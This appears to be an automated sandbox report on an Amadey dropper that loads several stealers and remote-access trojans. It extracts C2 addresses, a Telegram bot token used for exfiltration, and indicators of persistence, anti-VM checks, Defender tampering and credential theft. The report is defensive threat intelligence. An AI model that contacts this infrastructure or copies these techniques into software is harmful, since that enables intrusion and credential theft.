amadey | 1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d

Analysis

max time kernel
39s
max time network
104s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 02:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
Size

2.8MB
MD5

636eca2de789ef5733f243cd5f696d3e
SHA1

e346d7c38fb89e58059ef4223de0fbf9231d6735
SHA256

1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d
SHA512

f55d4eea8f3d251fe157c6b3af2bd3d9fea330a2141b2b8d0c5ffcf4339362b3b0bed30cc9b71e52d3c70074ad95a6a64a93f99aefc1d9c41211d4d293d6ab0d
SSDEEP

49152:MuKEsPLkHAcks/UXiMnGgLfgTtdJFPWWlo03rwQj:hsPLkHAhSUXHGgkxdvPWWld

Score

10^/10

amadey asyncrat lumma stealc vidar xworm 9c9aa5 default stok credential_access discovery evasion execution persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

xworm

xclient.fahrerscheinonlineholen.de:2489

Attributes

Install_directory
%AppData%
install_file
XClient.exe
telegram
https://api.telegram.org/bot8174428401:AAHxlGtOg4tsy0J0kYm7h8822BuHfnk8vKQ/sendMessage?chat_id=1434988227

Extracted

Family

stealc

Botnet

stok

http://185.215.113.206

Attributes

url_path
/c4becf79229cb002.php

Extracted

Family

lumma

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

Mutex

hgzuiajogwnqs

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/dDuwSpUA

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral1/memory/2288-1467-0x000000013F880000-0x000000013FD10000-memory.dmp	family_vidar_v7

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0005000000019dd7-1283.dat	family_xworm
behavioral1/memory/1052-1292-0x0000000000EF0000-0x0000000000F0C000-memory.dmp	family_xworm
behavioral1/memory/1052-1669-0x000000001A880000-0x000000001A89C000-memory.dmp	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/1052-1667-0x0000000000C40000-0x0000000000C58000-memory.dmp	family_asyncrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	20c2889dbe.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	42556d04c3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe
3168	powershell.exe
3476	powershell.exe
3796	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	20c2889dbe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	20c2889dbe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	42556d04c3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	42556d04c3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	vQeyqr1.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	vQeyqr1.exe

Executes dropped EXE 18 IoCs

pid	Process
2676	skotes.exe
2892	systemetape.exe
4848	WEX7mCI.exe
1504	Dry.com
1052	vQeyqr1.exe
4252	7aec6db9da.exe
3372	7z.exe
3716	7z.exe
4300	7z.exe
4524	7z.exe
1976	7z.exe
2260	7z.exe
2264	7z.exe
1808	7z.exe
1848	in.exe
2868	20c2889dbe.exe
4376	42556d04c3.exe
4828	69333aefbe.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	20c2889dbe.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	42556d04c3.exe

Loads dropped DLL 30 IoCs

pid	Process
2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
2676	skotes.exe
2676	skotes.exe
4848	WEX7mCI.exe
4964	cmd.exe
2676	skotes.exe
2676	skotes.exe
2288	cmd.exe
3372	7z.exe
2288	cmd.exe
3716	7z.exe
2288	cmd.exe
4300	7z.exe
2288	cmd.exe
4524	7z.exe
2288	cmd.exe
1976	7z.exe
2288	cmd.exe
2260	7z.exe
2288	cmd.exe
2264	7z.exe
2288	cmd.exe
1808	7z.exe
2288	cmd.exe
2288	cmd.exe
2676	skotes.exe
2676	skotes.exe
2676	skotes.exe
2676	skotes.exe
2676	skotes.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\20c2889dbe.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1019031001\\20c2889dbe.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\42556d04c3.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1019032001\\42556d04c3.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\69333aefbe.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1019033001\\69333aefbe.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	vQeyqr1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
51	pastebin.com
50	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000e00000001a4e2-1657.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4996	tasklist.exe
5072	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
2676	skotes.exe
2868	20c2889dbe.exe
4376	42556d04c3.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1848-1481-0x000000013F880000-0x000000013FD10000-memory.dmp	upx
behavioral1/memory/1848-1469-0x000000013F880000-0x000000013FD10000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
File opened for modification	C:\Windows\MpForgotten	WEX7mCI.exe
File opened for modification	C:\Windows\TabletAction	WEX7mCI.exe
File opened for modification	C:\Windows\CommunityProduction	WEX7mCI.exe
File opened for modification	C:\Windows\ExtractNicholas	WEX7mCI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 27 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	69333aefbe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systemetape.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20c2889dbe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WEX7mCI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	42556d04c3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dry.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aec6db9da.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	69333aefbe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	69333aefbe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
772	PING.EXE
580	powershell.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Dry.com
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Dry.com
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1224	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
4856	taskkill.exe
4956	taskkill.exe
4996	taskkill.exe
4992	taskkill.exe
1980	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	Dry.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Dry.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	Dry.com
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	20c2889dbe.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	20c2889dbe.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
772	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4200	schtasks.exe
2072	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1052	vQeyqr1.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
2676	skotes.exe
1504	Dry.com
1504	Dry.com
1504	Dry.com
2620	powershell.exe
3168	powershell.exe
3476	powershell.exe
3796	powershell.exe
1052	vQeyqr1.exe
580	powershell.exe
2868	20c2889dbe.exe
1504	Dry.com
4376	42556d04c3.exe
4828	69333aefbe.exe
1052	vQeyqr1.exe
1052	vQeyqr1.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	systemetape.exe
Token: SeDebugPrivilege	4996	tasklist.exe
Token: SeDebugPrivilege	5072	tasklist.exe
Token: SeDebugPrivilege	1052	vQeyqr1.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	1052	vQeyqr1.exe
Token: SeRestorePrivilege	3372	7z.exe
Token: 35	3372	7z.exe
Token: SeSecurityPrivilege	3372	7z.exe
Token: SeSecurityPrivilege	3372	7z.exe
Token: SeRestorePrivilege	3716	7z.exe
Token: 35	3716	7z.exe
Token: SeSecurityPrivilege	3716	7z.exe
Token: SeSecurityPrivilege	3716	7z.exe
Token: SeRestorePrivilege	4300	7z.exe
Token: 35	4300	7z.exe
Token: SeSecurityPrivilege	4300	7z.exe
Token: SeSecurityPrivilege	4300	7z.exe
Token: SeRestorePrivilege	4524	7z.exe
Token: 35	4524	7z.exe
Token: SeSecurityPrivilege	4524	7z.exe
Token: SeSecurityPrivilege	4524	7z.exe
Token: SeRestorePrivilege	1976	7z.exe
Token: 35	1976	7z.exe
Token: SeSecurityPrivilege	1976	7z.exe
Token: SeSecurityPrivilege	1976	7z.exe
Token: SeRestorePrivilege	2260	7z.exe
Token: 35	2260	7z.exe
Token: SeSecurityPrivilege	2260	7z.exe
Token: SeSecurityPrivilege	2260	7z.exe
Token: SeRestorePrivilege	2264	7z.exe
Token: 35	2264	7z.exe
Token: SeSecurityPrivilege	2264	7z.exe
Token: SeSecurityPrivilege	2264	7z.exe
Token: SeRestorePrivilege	1808	7z.exe
Token: 35	1808	7z.exe
Token: SeSecurityPrivilege	1808	7z.exe
Token: SeSecurityPrivilege	1808	7z.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	4996	taskkill.exe
Token: SeDebugPrivilege	4992	taskkill.exe
Token: SeDebugPrivilege	1980	taskkill.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
1504	Dry.com
1504	Dry.com
1504	Dry.com
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
1504	Dry.com
1504	Dry.com
1504	Dry.com
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe
4828	69333aefbe.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1052	vQeyqr1.exe
1052	vQeyqr1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 2676	2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe	30
PID 2348 wrote to memory of 2676	2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe	30
PID 2348 wrote to memory of 2676	2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe	30
PID 2348 wrote to memory of 2676	2348	1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe	30
PID 2676 wrote to memory of 2892	2676	skotes.exe	33
PID 2676 wrote to memory of 2892	2676	skotes.exe	33
PID 2676 wrote to memory of 2892	2676	skotes.exe	33
PID 2676 wrote to memory of 2892	2676	skotes.exe	33
PID 2676 wrote to memory of 4848	2676	skotes.exe	34
PID 2676 wrote to memory of 4848	2676	skotes.exe	34
PID 2676 wrote to memory of 4848	2676	skotes.exe	34
PID 2676 wrote to memory of 4848	2676	skotes.exe	34
PID 4848 wrote to memory of 4964	4848	WEX7mCI.exe	35
PID 4848 wrote to memory of 4964	4848	WEX7mCI.exe	35
PID 4848 wrote to memory of 4964	4848	WEX7mCI.exe	35
PID 4848 wrote to memory of 4964	4848	WEX7mCI.exe	35
PID 4964 wrote to memory of 4996	4964	cmd.exe	37
PID 4964 wrote to memory of 4996	4964	cmd.exe	37
PID 4964 wrote to memory of 4996	4964	cmd.exe	37
